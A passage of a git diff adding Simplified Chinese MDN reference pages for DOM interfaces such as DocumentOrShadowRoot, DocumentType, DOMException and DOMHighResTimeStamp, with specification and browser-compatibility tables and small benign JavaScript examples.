+<title>elementFromPoint example</title>
+
+<script>
+function changeColor(newColor) {
+  elem = document.elementFromPoint(2, 2);
+  elem.style.color = newColor;
+}
+</script>
+</head>
+
+<body>
+<p id="para1">Some text here</p>
+<button onclick="changeColor('blue');">blue</button>
+<button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

Demo

+ +

{{ EmbedLiveSample('Example', '', '', '', 'Web/API/Document/elementFromPoint') }}

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.elementFromPoint")}}

+
diff --git a/files/zh-cn/web/api/documentorshadowroot/elementsfrompoint/index.html b/files/zh-cn/web/api/documentorshadowroot/elementsfrompoint/index.html new file mode 100644 index 0000000000..6036115eaf --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/elementsfrompoint/index.html @@ -0,0 +1,50 @@ +--- +title: DocumentOrShadowRoot.elementsFromPoint() +slug: Web/API/DocumentOrShadowRoot/elementsFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint +--- +

{{APIRef("Shadow DOM")}}{{SeeCompatTable}}

+ +

elementsFromPoint() 是 {{domxref("DocumentOrShadowRoot")}} 下的一个函数,该函数返还在特定坐标点下的HTML元素数组。

+ +

语法

+ +
var elements = document.elementsFromPoint(x, y);
+ +

参数

+ +
+
x
+
坐标点的水平坐标值
+
y
+
坐标点的垂向坐标值
+
+ +

返回值

+ +

一个包含 {{domxref('element')}} 对象的数组.

+ +

其他说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','','elementsFromPoint()')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.elementsFromPoint")}}

+
diff --git a/files/zh-cn/web/api/documentorshadowroot/getselection/index.html b/files/zh-cn/web/api/documentorshadowroot/getselection/index.html new file mode 100644 index 0000000000..7110d24d21 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/getselection/index.html @@ -0,0 +1,75 @@ +--- +title: DocumentOrShadowRoot.getSelection() +slug: Web/API/DocumentOrShadowRoot/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

The getSelection() property of the {{DOMxRef("DocumentOrShadowRoot")}} interface returns a {{DOMxRef("Selection")}} object representing the range of text selected by the user, or the current position of the caret.

+ +

Syntax

+ +
var selection = documentOrShadowRootInstance.getSelection()
+ +

Parameters

+ +

None.

+ +

Returns

+ +

A {{DOMxRef("Selection")}} object.

+ +

Example

+ +
function foo() {
+    var selObj = document.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // do stuff with the range
+}
+ +

Notes

+ +

String representation of the Selection object

+ +

In JavaScript, when an object is passed to a function expecting a string (like {{DOMxRef("Window.alert()")}}), the object's {{JSxRef("Object.toString", "toString()")}} method is called and the returned value is passed to the function. This can make the object appear to be a string when used with other functions when it is really an object with properties and methods.

+ +

In the above example, selObj.toString() is automatically called when it is passed to {{DOMxRef("Window.alert()")}}. However, attempting to use a JavaScript String property or method such as length or substr directly on a {{DOMxRef("Selection")}} object results in an error if it does not have that property or method and may return unexpected results if it does. To use a Selection object as a string, call its toString() method directly:

+ +
var selectedText = selObj.toString();
+ + + + + +

HTML inputs provide simpler helper APIs for working with selection (see {{DOMxRef("HTMLInputElement.setSelectionRange()")}}).

+ +

Notice the difference between selection and focus. {{DOMxRef("Document.activeElement")}} returns the focused element.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Shadow DOM", "#extensions-to-the-documentorshadowroot-mixin", "DocumentOrShadowRoot")}}{{Spec2("Shadow DOM")}}Initial definition.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.DocumentOrShadowRoot.getSelection")}}

+
diff --git a/files/zh-cn/web/api/documentorshadowroot/index.html b/files/zh-cn/web/api/documentorshadowroot/index.html new file mode 100644 index 0000000000..0e3dd27717 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/index.html @@ -0,0 +1,78 @@ +--- +title: DocumentOrShadowRoot +slug: Web/API/DocumentOrShadowRoot +tags: + - API + - DocumentOrShadowRoot + - Interface + - NeedsTranslation + - Reference + - TopicStub + - shadow dom +translation_of: Web/API/DocumentOrShadowRoot +--- +
{{APIRef("Web Components")}}
+ +

Shadow DOM APIDocumentOrShadowRoot 接口提供了 documents 与 shadow roots 之间共享的 API。The following features are included in both {{DOMxRef("Document")}} and {{DOMxRef("ShadowRoot")}}.

+ +

属性

+ +
+
{{DOMxRef("DocumentOrShadowRoot.activeElement")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef('Element')}} within the shadow tree that has focus.
+
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef('Element')}} that's currently in full screen mode for this document.
+
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{Experimental_Inline}}{{ReadOnlyInline}}
+
Returns the element set as the target for mouse events while the pointer is locked. It returns null if lock is pending, the pointer is unlocked, or if the target is in another document.
+
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}{{ReadOnlyInline}}
+
Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.
+
+ +

方法

+ +
+
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.
+
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
+
Returns the topmost element at the specified coordinates.
+
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
+
Returns an array of all elements at the specified coordinates.
+
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
+
Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.
+
{{DOMxRef("DocumentOrShadowRoot.nodeFromPoint()")}} {{non-standard_inline}}
+
Returns the topmost node at the specified coordinates.
+
{{DOMxRef("DocumentOrShadowRoot.nodesFromPoint()")}} {{non-standard_inline}}
+
Returns an array of all nodes at the specified coordinates.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Implementation in Shadow DOM.
{{SpecName('DOM WHATWG','#mixin-documentorshadowroot','DocumentOrShadowRoot')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentOrShadowRoot")}}

+ +

[1] This interface's features are still implemented on the {{DOMxRef("Document")}} object.

diff --git a/files/zh-cn/web/api/documentorshadowroot/stylesheets/index.html b/files/zh-cn/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..1c9425a744 --- /dev/null +++ b/files/zh-cn/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,52 @@ +--- +title: DocumentOrShadowRoot.styleSheets +slug: Web/API/DocumentOrShadowRoot/styleSheets +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +
{{SeeCompatTable}}{{APIRef("Shadow DOM")}}
+ +

styleSheets是{{domxref("DocumentOrShadowRoot")}}接口定义的只读属性,它会返回一个{{domxref('StyleSheetList')}} / {{domxref('CSSStyleSheet')}} 对象,这个对象对应的是通过引入或者嵌入文档中的样式表。

+ +

示例代码

+ +
function getStyleSheet(unique_title) {
+  for (var i=0; i<document.styleSheets.length; i++) {
+    var sheet = document.styleSheets[i];
+    if (sheet.title == unique_title) {
+      return sheet;
+    }
+  }
+}
+
+ +

说明

+ +

返回的列表中,排序规则如下:

+ + + +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentOrShadowRoot.styleSheets")}}

diff --git a/files/zh-cn/web/api/documenttouch/index.html b/files/zh-cn/web/api/documenttouch/index.html new file mode 100644 index 0000000000..60b7ebb841 --- /dev/null +++ b/files/zh-cn/web/api/documenttouch/index.html @@ -0,0 +1,32 @@ +--- +title: DocumentTouch +slug: Web/API/DocumentTouch +translation_of: Web/API/DocumentTouch +--- +

{{ ApiRef("DOM") }}

+ +

{{ obsolete_header(25) }}

+ +

从Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)开始被废弃

+ +

本特性已经被废弃,虽然它仍然可以在一些浏览器中工作,它随时都可能被移除,我们不鼓励使用它,你应尽量避免使用它。

+ +

DocumentTouch 接口提供了一个便利的方法来创建 {{ domxref("Touch") }} 和 {{ domxref("TouchList") }} 对象, 可是它将被移除。 但这个方法将会继续在{{domxref("Document")}} 接口中存在.

+ +

方法

+ +
+
{{ domxref("DocumentTouch.createTouch()") }}
+
创建一个新的 {{ domxref("Touch") }} 对象.
+
{{ domxref("DocumentTouch.createTouchList()") }}
+
创建一个新的 {{ domxref("TouchList") }} 对象.
+
+ +

更多

+ + diff --git a/files/zh-cn/web/api/documenttype/index.html b/files/zh-cn/web/api/documenttype/index.html new file mode 100644 index 0000000000..4f2c907276 --- /dev/null +++ b/files/zh-cn/web/api/documenttype/index.html @@ -0,0 +1,91 @@ +--- +title: DocumentType +slug: Web/API/DocumentType +tags: + - API + - DOM + - DocumentType + - Interface + - 接口 +translation_of: Web/API/DocumentType +--- +
{{APIRef("DOM")}}
+ +

DocumentType 接口表示了一个包含文档类型的节点 {{domxref("Node")}} .

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

继承自父节点 {{domxref("Node")}}, 并实现了 {{domxref("ChildNode")}} 接口.

+ +
+
{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}
+
一个在文档类型定义(DTD)中声明的实体{{domxref("NamedNodeMap")}},在这个映射(map)中的每个节点实现了{{domxref("Entity")}}接口
+
{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}
+
一个表示内部子集的{{domxref("DOMString")}},如果没有的话则为null ,例:"<!ELEMENT foo (bar)>"
+
{{domxref("DocumentType.name")}} {{readonlyInline}}
+
{{domxref("DOMString")}},文档类型的名称,例:<!DOCTYPE HTML>中的“html
+
{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}
+
在文档类型定义(DTD)中声明符号的{{domxref("NamedNodeMap")}},在这个映射(map)中的所有节点实现了{{domxref("Notation")}}接口
+
{{domxref("DocumentType.publicId")}} {{readonlyInline}}
+
一个{{domxref("DOMString")}},例:HTML5中的空字符串——"-//W3C//DTD HTML 4.01//EN"
+
{{domxref("DocumentType.systemId")}} {{readonlyInline}}
+
一个{{domxref("DOMString")}},例:HTML5中的空字符串—— "http://www.w3.org/TR/html4/strict.dtd"
+
+ +

方法

+ +

继承方法自父节点,{{domxref("Node")}}, 并实现了 {{domxref("ChildNode")}} 接口.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
从父节点的子节点的列表中移除这个对象.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}{{Spec2('DOM WHATWG')}}Added implemention of the {{domxref("ChildNode")}} interface.
+ Removed the internalSubset, entities, and notation properties.
{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}.
{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'CharacterData')}}{{Spec2('DOM2 Core')}}Added the publicID, systemID, and internalSubset properties.
{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'CharacterData')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DocumentType")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/domerror/index.html b/files/zh-cn/web/api/domerror/index.html new file mode 100644 index 0000000000..5d5df14e5f --- /dev/null +++ b/files/zh-cn/web/api/domerror/index.html @@ -0,0 +1,212 @@ +--- +title: DOMError +slug: Web/API/DOMError +translation_of: Web/API/DOMError +--- +

{{ APIRef("DOM") }}{{deprecated_header}}

+ +

 DOMError 接口描述一个错误对象,该对象包含一个错误的名字。

+ +

属性

+ +
+
{{domxref("DOMError.name")}} {{readOnlyInline}}
+
返回一个代表一个错误类型名称的 {{ domxref("DOMString") }} (见下文).
+
{{domxref("DOMError.message")}} {{readOnlyInline}}
+
返回一个代表与给定错误类型名称有关的信息或描述{{ domxref("DOMString") }}
+
+ +

Error 类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeDescription
IndexSizeErrorThe index is not in the allowed range (e.g. thrown in a {{ domxref("range") }} object).
+ 索引不在允许的范围内
HierarchyRequestErrorThe node tree hierarchy is not correct.
+ 节点树层次结构是不正确的。
WrongDocumentErrorThe object is in the wrong {{ domxref("document") }}.
+ 对象是错误的
InvalidCharacterErrorThe string contains invalid characters.
+ 字符串包含无效字符。
NoModificationAllowedErrorThe object can not be modified.
+ 对象不能被修改。
NotFoundErrorThe object can not be found here.
+ 对象不能在这里被找到。
NotSupportedErrorThe operation is not supported
+ 不支持的操作
InvalidStateErrorThe object is in an invalid state.
+ 对象是一个无效的状态。
SyntaxErrorThe string did not match the expected pattern.
+ 字符串不匹配预期的模式
InvalidModificationErrorThe object can not be modified in this way.
+ 对象不能以这种方式被修改
NamespaceErrorThe operation is not allowed by Namespaces in XML
+ 操作在XML命名空间内是不被允许的
InvalidAccessErrorThe object does not support the operation or argument.
+ 对象不支持这种操作或参数。
TypeMismatchErrorThe type of the object does not match the expected type.
+ 对象的类型不匹配预期的类型。
SecurityErrorThe operation is insecure.
+ 此操作是不安全的。
NetworkErrorA network error occurred.
+ 发生网络错误
AbortErrorThe operation was aborted.
+ 操作被中止
URLMismatchErrorThe given URL does not match another URL.
+ 给定的URL不匹配另一个URL。
QuotaExceededErrorThe quota has been exceeded.
+ 已经超过给定配额。
TimeoutErrorThe operation timed out.
+ 操作超时。
InvalidNodeTypeErrorThe node is incorrect or has an incorrect ancestor for this operation.
+ 这个操作的 节点或节点祖先 是不正确的
DataCloneErrorThe object can not be cloned.
+ 对象不能克隆。
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM4', '#interface-domerror', 'DOMError')}}{{Spec2('DOM4')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}12.0[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}12.0[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 这在Firefox version 58被删除.

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/domexception/code/index.html b/files/zh-cn/web/api/domexception/code/index.html new file mode 100644 index 0000000000..5c0d12d873 --- /dev/null +++ b/files/zh-cn/web/api/domexception/code/index.html @@ -0,0 +1,43 @@ +--- +title: DOMException.code +slug: Web/API/DOMException/code +translation_of: Web/API/DOMException/code +--- +

{{ APIRef("DOM") }}

+ +

{{domxref("DOMException")}} 接口中的 code 是一个只读属性,他返回了一个包含了 错误常量 的简短数字 ,或者在没有匹配到时返回 0 。这个字段产生于历史原因,在新的DOM异常中已停止使用,改为在 {{domxref("DOMException.name")}} 属性中推送此信息。

+ +

语法

+ +
var domExceptionCode = domExceptionInstance.code;
+
+ +
+
+ +

+ +

一个数字

+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('WebIDL', '#dom-domexception-code', 'code')}}{{Spec2('WebIDL')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMException.code")}}

diff --git a/files/zh-cn/web/api/domexception/domexception/index.html b/files/zh-cn/web/api/domexception/domexception/index.html new file mode 100644 index 0000000000..156e0286d5 --- /dev/null +++ b/files/zh-cn/web/api/domexception/domexception/index.html @@ -0,0 +1,106 @@ +--- +title: DOMException() +slug: Web/API/DOMException/DOMException +translation_of: Web/API/DOMException/DOMException +--- +

{{ APIRef("DOM") }}

+ +

DOMException() 构造函数返回一个包含指定的信息和名称的 DOMException 对象。

+ +

语法

+ +
var domException = new DOMException();
+var domException = new DOMException(message);
+var domException = new DOMException(message, name);
+ +
+
+ +

参数

+ +
+
message {{optional_inline}}
+
对异常的描述.如果不存在, 使用空字符串 '' .
+
name {{optional_inline}}
+
返回一个 {{domxref("DOMString")}} 包含与 error constant 错误相关的字符串常数之一.
+
+

返回值

+
+
{{domxref("DOMException")}}
+
一个新创建的 {{domxref("DOMException")}} 对象.
+
+ +

例子

+ +

TBD

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebIDL', '#es-DOMException-call', 'constructor')}}{{Spec2('WebIDL')}}Adds the constructor for the DOMException class.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(46.0) }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatNo }}{{CompatChrome(46.0)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatChrome(46.0) }}
+
diff --git a/files/zh-cn/web/api/domexception/index.html b/files/zh-cn/web/api/domexception/index.html new file mode 100644 index 0000000000..7616ea3c45 --- /dev/null +++ b/files/zh-cn/web/api/domexception/index.html @@ -0,0 +1,154 @@ +--- +title: DOMException +slug: Web/API/DOMException +translation_of: Web/API/DOMException +--- +

{{ APIRef("DOM") }}

+ +

 DOMException 接口代表调用方法或访问 Web API 属性时发生的异常事件(被称为异常exception)。 这基本上是在 Web API 中如何描述错误情况的

+ +

每个异常都有一个名称 name,一个采用骆驼式命名法的简短字符串,用于描述识别错误或异常情况。

+ +
+

译者注:骆驼式命名法(CamelCase style),又称驼峰命名法。与 JavaScript 中更常见的小驼峰命名法有别,此处应是指大驼峰命名法。大驼峰命名法又称 Pascal 命名法。具体为名称中的每个单词仅首字母大写Capitalize),可参考下方错误名称。

+
+ +

构造函数

+ +
+
{{domxref("DOMException.DOMException()", "DOMException()")}} {{experimental_inline}}
+
返回一个包含指定消息和名称的 DOMException 对象。
+
+ +

属性

+ +
+
{{domxref("DOMException.code")}} {{deprecated_inline}} {{readOnlyInline}}
+
返回一个 short,包含 {{anch("Error codes", "error code constants")}} 中的一个,或者返回 0,如果没有匹配的话。这个字段由于历史原因被使用。现在不再使用这个新的DOM异常:他们把这个信息放入 {{domxref("DOMException.name")}} 属性。
+
{{domxref("DOMException.message")}} {{readOnlyInline}}
+
返回一个 {{ domxref("DOMString") }} 代表与给定的错误名称有关信息或描述。
+
{{domxref("DOMException.name")}} {{readOnlyInline}}
+
返回一个 {{domxref("DOMString")}} 包含与错误名称相关的字符串.
+
+ +

错误名称

+ +

常见的错误名称列在这里。一些 API 定义了它们自己的名称组,所以这未必是一个完整的列表。

+ +
+

注意:因为很久以前错误是由数值(code value,代码值)与一个对应的命名变量定义的,所以以下部分条目包含过去使用的遗留代码值和常量名。

+
+ +
+
IndexSizeError
+
索引不在允许的范围内。例如,这可以被 {{ domxref("Range") }} 对象抛出。(遗留代码值:1,遗留常数名称:INDEX_SIZE_ERR)
+
HierarchyRequestError
+
节点树层次结构有误。(遗留代码值: 3 ,遗留常数名称:HIERARCHY_REQUEST_ERR)
+
WrongDocumentError
+
对象在错误的 {{ domxref("Document") }}中。(遗留代码值: 4,遗留常数名称: WRONG_DOCUMENT_ERR
+
InvalidCharacterError
+
字符串包含无效字符。(Legacy code value: 5 and legacy constant name: INVALID_CHARACTER_ERR
+
NoModificationAllowedError
+
对象不能被修改。(Legacy code value: 7 and legacy constant name: NO_MODIFICATION_ALLOWED_ERR
+
NotFoundError
+
找不到对象。(Legacy code value: 8 and legacy constant name: NOT_FOUND_ERR
+
NotSupportedError
+
不支持的操作。 (Legacy code value: 9 and legacy constant name: NOT_SUPPORTED_ERR)
+
InvalidStateError
+
对象是一个无效的状态. (Legacy code value: 11 and legacy constant name: INVALID_STATE_ERR)
+
SyntaxError
+
字符串不匹配预期的模式. (Legacy code value: 12 and legacy constant name: SYNTAX_ERR)
+
InvalidModificationError
+
对象不能被这种方式修改。 (Legacy code value: 13 and legacy constant name: INVALID_MODIFICATION_ERR)
+
NamespaceError
+
操作在XML名称空间是不允许的. (Legacy code value: 14 and legacy constant name: NAMESPACE_ERR)
+
InvalidAccessError
+
对象不支持此操作或参数 (Legacy code value: 15 and legacy constant name: INVALID_ACCESS_ERR)
+
TypeMismatchError {{deprecated_inline}}
+
对象的类型不匹配预期的类型. (Legacy code value: 17 and legacy constant name: TYPE_MISMATCH_ERR) 这个值已被弃用,  JavaScript {{jsxref("TypeError")}} 异常被提出而不是DOMException
+
SecurityError {{experimental_inline}}
+
操作不安全。 (Legacy code value: 18 and legacy constant name: SECURITY_ERR)
+
NetworkError {{experimental_inline}}
+
网络错误发生. (Legacy code value: 19 and legacy constant name: NETWORK_ERR)
+
AbortError {{experimental_inline}}
+
T操作中止. (Legacy code value: 20 and legacy constant name: ABORT_ERR)
+
URLMismatchError {{experimental_inline}}
+
给定的URL不匹配另一个URL。 (Legacy code value: 21 and legacy constant name: URL_MISMATCH_ERR)
+
QuotaExceededError {{experimental_inline}}
+
给定配额已经超过了(Legacy code value: 22 and legacy constant name: QUOTA_EXCEEDED_ERR)
+
TimeoutError {{experimental_inline}}
+
操作超时. (Legacy code value: 23 and legacy constant name: TIMEOUT_ERR)
+
InvalidNodeTypeError {{experimental_inline}}
+
这个操作的节点是不正确的或祖先是不正确的. (Legacy code value: 24 and legacy constant name: INVALID_NODE_TYPE_ERR)
+
sDataCloneError {{experimental_inline}}
+
对象不可被克隆。 (Legacy code value: 25 and legacy constant name: DATA_CLONE_ERR)
+
EncodingError {{experimental_inline}}
+
编码或解码操作失败 (没有遗留代码值和常量的名字).
+
NotReadableError {{experimental_inline}}
+
输入/输出读操作失败(没有遗留代码值和常量的名字).
+
UnknownError {{experimental_inline}}
+
因未知的瞬态的原因使操作失败(例如 内存不足) (No legacy code value and constant name).
+
ConstraintError {{experimental_inline}}
+
条件没满足而导致事件失败的异常操作 (No legacy code value and constant name).
+
DataError {{experimental_inline}}
+
提供的数据不足 (No legacy code value and constant name).
+
TransactionInactiveError {{experimental_inline}}
+
请求被当前不活跃的事件或已完成事件阻止 (No legacy code value and constant name)。
+
ReadOnlyError {{experimental_inline}}
+
尝试操作 "readonly" 事件 (No legacy code value and constant name)。
+
VersionError {{experimental_inline}}
+
尝试打开一个比现有版本更低的数据库(No legacy code value and constant name)。
+
OperationError {{experimental_inline}}
+
因特定操作失败原因而失败 (No legacy code value and constant name).
+
NotAllowedError {{experimental_inline}}
+
<dd请求不被用户代理或当前上下文所在平台允许,可能因为用户拒绝授权 (no="" and="" code="" constant="" dd="" legacy="" name)。<="" value=""> </dd请求不被用户代理或当前上下文所在平台允许,可能因为用户拒绝授权>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('WebIDL', '#idl-DOMException', 'constructor')}}{{Spec2('WebIDL')}}Adds the constructor for the DOMException class. Adds the NotReadableError, UnknownError, ConstraintError, DataError, TransactionInactiveError, ReadOnlyError, VersionError, OperationError, and NotAllowedError values.
{{SpecName('DOM4', '#exception-domexception', 'DOMException')}}{{Spec2('DOM4')}}Added SECURITY_ERR, NETWORK_ERR, ABORT_ERR, URL_MISMATCH_ERR, QUOTA_EXCEEDED_ERR, TIMEOUT_ERR, INVALID_NODE_TYPE_ERR, and DATA_CLONE_ERR. The property code has been deprecated for exception values. The EncodingError value added.
{{SpecName('DOM3 Core', 'core.html#ID-17189187', 'DOMException')}}{{Spec2('DOM3 Core')}}Added of VALIDATION_ERR and TYPE_MISMATCH_ERR.
{{SpecName('DOM2 Core', 'core.html#ID-17189187', 'DOMException')}}{{Spec2('DOM2 Core')}}Added of INVALID_STATE_ERR, SYNTAX_ERR, INVALID_MODIFICATION_ERR, NAMESPACE_ERR, and INVALID_ACCESS_ERR.
{{SpecName('DOM1', 'level-one-core.html#ID-17189187', 'DOMException')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DOMException")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/domhighrestimestamp/index.html b/files/zh-cn/web/api/domhighrestimestamp/index.html new file mode 100644 index 0000000000..ebbce5eb26 --- /dev/null +++ b/files/zh-cn/web/api/domhighrestimestamp/index.html @@ -0,0 +1,167 @@ +--- +title: DOMHighResTimeStamp +slug: Web/API/DOMHighResTimeStamp +tags: + - DOMHighResTimeStamp + - High Resolution Time +translation_of: Web/API/DOMHighResTimeStamp +--- +

{{APIRef("High Resolution Time")}}

+ + + +

DOMHighResTimeStamp 是一个double类型,用于存储毫秒级的时间值。这种类型可以用来描述离散的时间点或者一段时间(两个离散时间点之间的时间差)。

+ +

这种基于毫秒精度的时间,应该精确到5微秒级别,其数值的小数部分代表了一个毫秒的小数(也就是微秒)。但是,如果浏览器不能提供精确到5微秒的时间值(例如,由于硬件或软件的限制),浏览器可以在表示一个以毫秒为单位的时间值时,精确到毫秒级别。同时要注意,在下一节中提到,由浏览器首选项控制的降低时间精度,是为了防止时序攻击和记录指纹。

+ +

此外,如果用户代理运行所在的设备或操作系统不具备精确到微秒级别的时钟,那么他们只能精确到毫秒。

+ +

降低时间精度

+ +


+ 为了提供对抗时序攻击和记录指纹的保护措施,时间戳可能会四舍五入,这取决于浏览器设置。在火狐浏览器中,privacy.reduceTimerPrecision 首选项默认被启用,并且在或火狐浏览器59版本中,它的默认值是20微秒。在火狐浏览器60版本中,这个默认值将是2毫秒。

+ +
// reduced time precision (2ms) in Firefox 60
+event.timeStamp
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// reduced time precision with `privacy.resistFingerprinting` enabled
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+ +

在火狐浏览器中,你也可以启用 privacy.resistFingerprinting ,这使得时间戳的精度变成100毫秒或 privacy.resistFingerprinting.reduceTimerPrecision.microseconds 的值,以较大者为准。

+ +

属性

+ +

这个类型没有属性。它是一个双精度浮点数。

+ +

+ +

DOMHighResTimeStamp 的值是一个双精度浮点数,它描述了两个时间点之间的经过的毫秒数(可以精确到5微秒,如果设备支持)。开始时间可以是由网站或app中的脚本定义的一个特定时间T,也可以是时间源

+ +

时间源

+ +

时间源是一个可以被认定为当前文档生命周期的开始节点的标准时间,计算方法如下:

+ + + +

方法

+ +

这个类型没有方法。

+ +

用法说明

+ +

您可以通过调用 {{domxref("performance")}} 的 {{domxref("performance.now", "now()")}} 方法来获取当前的时间戳的值(自创建上下文以来经过的时间)。此方法在 {{domxref("Window")}} 和 {{domxref("Worker")}} 上下文中均可用.

+ +

示例

+ +

如果你需要确定从代码中某处开始经过了多少时间,可以执行以下操作:

+ +
let startTime = performance.now();
+
+/* ... do things for a while ... */
+
+let elapsedTime = performance.now() - startTime;
+
+ +

执行完毕后,  elapsedTime 的值是从你在第一行代码记录的时间点开始后经过的毫秒数。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#dom-domhighrestimestamp', 'DOMHighResTimeStamp')}}{{Spec2('Highres Time Level 2')}}Stricter definitions of interfaces and types.
{{SpecName('Highres Time', '#sec-DOMHighResTimeStamp', 'DOMHighResTimeStamp')}}{{Spec2('Highres Time')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support6{{CompatGeckoDesktop("7.0")}}915.08
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("15.0")}}915.09
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/domimplementation/createdocument/index.html b/files/zh-cn/web/api/domimplementation/createdocument/index.html new file mode 100644 index 0000000000..59ccafd853 --- /dev/null +++ b/files/zh-cn/web/api/domimplementation/createdocument/index.html @@ -0,0 +1,83 @@ +--- +title: DOMImplementation.createDocument() +slug: Web/API/DOMImplementation/createDocument +translation_of: Web/API/DOMImplementation/createDocument +--- +

{{ApiRef("DOM")}}

+ +

DOMImplementation.createDocument()方法创建并返回一个 {{domxref("XMLDocument")}}对象.

